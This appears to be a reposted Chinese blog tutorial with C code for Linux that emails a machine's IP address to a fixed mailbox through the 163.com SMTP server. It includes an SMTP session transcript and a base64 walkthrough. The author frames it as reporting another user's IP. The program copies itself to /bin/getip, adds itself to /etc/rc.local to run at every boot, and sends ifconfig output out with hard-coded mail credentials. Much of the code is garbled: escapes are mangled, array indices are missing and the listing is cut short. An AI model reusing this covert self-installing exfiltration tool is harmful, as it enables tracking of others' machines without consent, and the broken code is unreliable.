linux下发送email的c语言代码

来源:互联网 发布:淘宝商城登录 编辑:程序博客网 时间:2024/06/10 06:53
现在很多用户都是自动获取ip,而不是固定不变的,现在作个简单的
程序,在他每次上网后,把他的ip自动发给我指定的email。
  实现很简单(当然,前提是你有相应的权限,:D),通过调用system(),把
程序路径放到/etc/rc.local里,以便每次启动调用。利用ifconfig获取ip,
并写到一个临时文件,然后读文件内容到缓冲区,作为email正文发送到指定的email。
    以163.com的smtp服务器为例,现在的smtp服务器都加入了验证功能(不同服务器
验证的方式是不同的,sina的验证就不同,具体的验证方式没有研究),通讯的过程是
这样的:
[root@localhost root]# telnet smtp.163.com 25
Trying 202.108.44.170...
Connected to smtp.163.com.
Escape character is '^]'.
220 Coremail SMTP(Anti Spam) System (163com[20030606])
ehlo smtp.163.com
250-192.168.1.170
250-PIPELINING
250-AUTH LOGIN PLAIN NTLM
250-AUTH=LOGIN PLAIN NTLM
250 8BITMIME
auth login
334 VXNlcm5hbWU6
xxxxxx(base64编码过的用户名)
334 UGFzc3dvcmQ6
xxxxx(base64编码过的密码)
235 Authentication successful
mail from:gyfxlt8.go@163.com
250 Ok
rcpt to:gymiles@sohu.com
250 Ok
data
354 End data with <CR><LF>.<CR><LF>
test
.
250 Ok: queued as IMA5dQQvoEEGyE4C.1
quit
221 Bye
Connection closed by foreign host.



smtp server返回值表
-----------------------------------------------
500    邮箱地址错误
501    参数格式错误
502    命令不可实现
503    服务器需要SMTP验证
504    命令参数不可实现
421    服务未就绪,关闭传输信道
450    要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550    要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451    放弃要求的操作;处理过程中出错
551    用户非本地,请尝试<forward-path>
452    系统存储不足,要求的操作未执行
552    过量的存储分配,要求的操作未执行
553    邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
432    需要一个密码转换
534    认证机制过于简单
538    当前请求的认证机制需要加密
454    临时认证失败
530    需要认证

220    服务就绪
250    要求的邮件操作完成
251    用户非本地,将转发向<forward-path>
354    开始邮件输入,以<enter>.<enter>结束
221    服务关闭传输信道
334    服务器响应验证Base64字符串
235    验证成功
---------------------------------------------------

    过程很明显了,再简单说说base64编码方式:
    可以将字符串3个3个的分开(不足的编码后以'='补),我们知道每个字符8位,
这样,3个字符就是24位,base64编码将这3个字符(24位),6位6位的分开,分成4个字符,
再将这4个字符的ascii码值与下面的表比较,取出相应的字符,就是编码后的最终字符。
例如:abc这3个字符,编码前是这样的:
0110 0001    0110 0010      01100011
现在6位6位的重组:
011000    010110    001001    100011
得到的字符为:
00011000    00010110    00001001    00100011
ascii码值分别为:24    22    9    35
对照下面表,得出编码后的字符:YWJj
从程序的思路来看就是:
1。a>>2
2.(a&0x03)<<4  | (b>>4)
3.(b&0x0f)<<4 | (c>>6)
4.c&0x3f
然后将得到的值对照下表就可得出编码后的字符,具体实现见代码。
Base64编码转换表(摘自RFC2045)
--------------------------------------------------
                        Table 1: The Base64 Alphabet

      value Encoding  value Encoding  value Encoding  value Encoding
          0 A            17 R            34 i            51 z
          1 B            18 S            35 j            52 0
          2 C            19 T            36 k            53 1
          3 D            20 U            37 l            54 2
          4 E            21 V            38 m            55 3
          5 F            22 W            39 n            56 4
          6 G            23 X            40 o            57 5
          7 H            24 Y            41 p            58 6
          8 I            25 Z            42 q            59 7
          9 J            26 a            43 r            60 8
          10 K            27 b            44 s            61 9
          11 L            28 c            45 t            62 +
          12 M            29 d            46 u            63 /
          13 N            30 e            47 v
          14 O            31 f            48 w        (pad) =
          15 P            32 g            49 x
          16 Q            33 h            50 y
---------------------------------------------------

本代码在thizlinux7.0下测试通过
/*--------------------------------------
code by sink (gymiles@sohu.com)
------------------------------------*/

#include <netinet/in.h>//include socket
#include <sys/socket.h>
#include <stdio.h>//include fopen(),fread().fwrite(),fclose()
#include <stdlib.h>//include system()
#include <netdb.h>//include gethostbyname()

#define  PORT    25 //smtp port
#define  SIZE      1024
//define mail commands
#define  EHLO      0
#define  AUTH      1
#define  USER      2
#define  PASS      3
#define  MAIL      4
#define  RCPT      5
#define  DATA      6
#define  CONT      7
#define  QUIT      8

void base64enc(const char *,char *);

int main(int argc,char *argv[])
{
int                        sockfd;
struct sockaddr_in        server_addr;
struct hostent            *server_ip;
int                        numbytes=0,i=0;
char                      username[512]="";//mail username
char                      passwd[512]="";//mail passwd

//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files(use "ifconfig >tmp.ip",het ip_files)
char                      buff[512]="",tmp[4]="",ip[SIZE]="";
int                        ret=0;//function return
FILE                      *f_open,*f_write;
char                      *msg[9]={""};
char                      *n_return[9]={""}; //return number

msg[EHLO]="ehlo smtp.163.com/n";
msg[AUTH]="auth login/n";
base64enc("your name",username);
strcat(username,"/n");
msg[USER]=username;
base64enc("your passwd",passwd);
strcat(passwd,"/n");
msg[PASS]=passwd;
msg[MAIL]="mail from:xxxxx@163.com/n";
msg[RCPT]="rcpt to:xxxxx@sohu.com/n";
msg[DATA]="data/n";
msg[QUIT]="quit/n";

n_return[EHLO]="250";
n_return[AUTH]="334";
n_return[USER]="334";
n_return[PASS]="235";
n_return[MAIL]="250";
n_return[RCPT]="250";
n_return[DATA]="354";
n_return[CONT]="250";


       
/*---------------------------
copy self to /bin/getip
---------------------------*/
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip is not existed,copy to it
{
    if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
              {
            perror("fopen argv[0] error");
            return(-1);
              }
       
    if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the file which we will write to
              {
          perror("fopen /bin/getip error");
          return(-1);
              } 
    while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
              {       
            if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
                      {
                  perror("fwrite error");
                  return(-1);
                      }
              }
   
  fclose(f_open);//close all files we have opened
  fclose(f_write);
 
  //chmod 755 /bin/getip
  if((ret=system("chmod 755 /bin/getip"))==-1)
        {
        perror("system error");
        return(-1);
          }

  //call system("echo /bin/getip >>/etc/rc.local")
  if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
        {
        perror("system error");
        return(-1);
          }
  }

/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
      {
      perror("system error");
      return(-1);
        }
     
    /*-----------------------------
    read from tmp.ip,add it to msg[CONT]
    -----------------------------*/
    if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
        {
      perror("fopen error");
      return(-1);
        }
       

i=0;
while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip
          {
          i++;
          if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
            break;
          }
strncat(ip,"/n./n",3);//cat "/n./n" to data
msg[CONT]=ip; 
fclose(f_open);

 
/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
      {
      perror("system error");
      return(-1);
        }
       

/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host  have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
    {
        herror("gethostbyname error");
      sleep(300);
    }
//create a socket
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
    perror("socket error");
    return(-1);
    }
    //address information
server_addr.sin_family=AF_INET;//host byte order
server_addr.sin_port=htons(PORT);//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
bzero(&(server_addr.sin_zero),8);//zero the rest of struct
    //connect server
if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
  {
    perror("connect error");
    return(-1);
  }
    //if connect success,server return "220"
    if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
  {
    perror("recv error");
    return(-1);
  }
    //clean tmp
    for(i=0;i<4;i++)
        tmp='/0';
    strncpy(tmp,buff,3);
if(strcmp(tmp,"220")!=0)
          return (-1);
   
//send msgs. if any step has a mistake,the "while" will be breaked,then send "quit" to end connection 
    i=EHLO;
while(i<QUIT)
  {
      if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
        {
        perror("send error");
        break;
        }
      //sleep(1);we dont have to use it,because recv() can choke itself until it received data
      if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
        {
        perror("recv error");
        break;
        }
      strncpy(tmp,buff,3);
     
      //printf("command:%s/n",msg);
      //printf("return buff:%s/n",buff);
      //printf("should return:%s/n",n_return);
       
      if(strcmp(tmp,n_return)==0)
              i++;
      else
              break;
             
  }


  //send quit to end mail connection
  if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
    {
    perror("send error");
    return(-1);
    }


  close(sockfd);
  return (0);
}

/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
    char *                table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int                    instr_len=0,i=0,j=0,pad=0;
    unsigned char          buf1[4]="",buf2[4]="";
 
    instr_len=strlen(instr);
    pad=instr_len%3;
    for(i=0;i<instr_len;i+=3)
        {
        if(i==instr_len-pad)
                  strncpy(buf1,&instr,pad);
            else
              strncpy(buf1,&instr,3);
 
        buf2[0] = buf1[0] >> 2;
            buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
            buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
            buf2[3] = buf1[2] & 0x3f;
            for(j=0;j<4;j++)
                  buf2[j]=table[buf2[j]];
             
        if(i==instr_len-pad)
              for(j=3;j>pad;j--)
                    buf2[j]='=';
       
        strncat(outstr,buf2,4);
      }
 

 
原创粉丝点击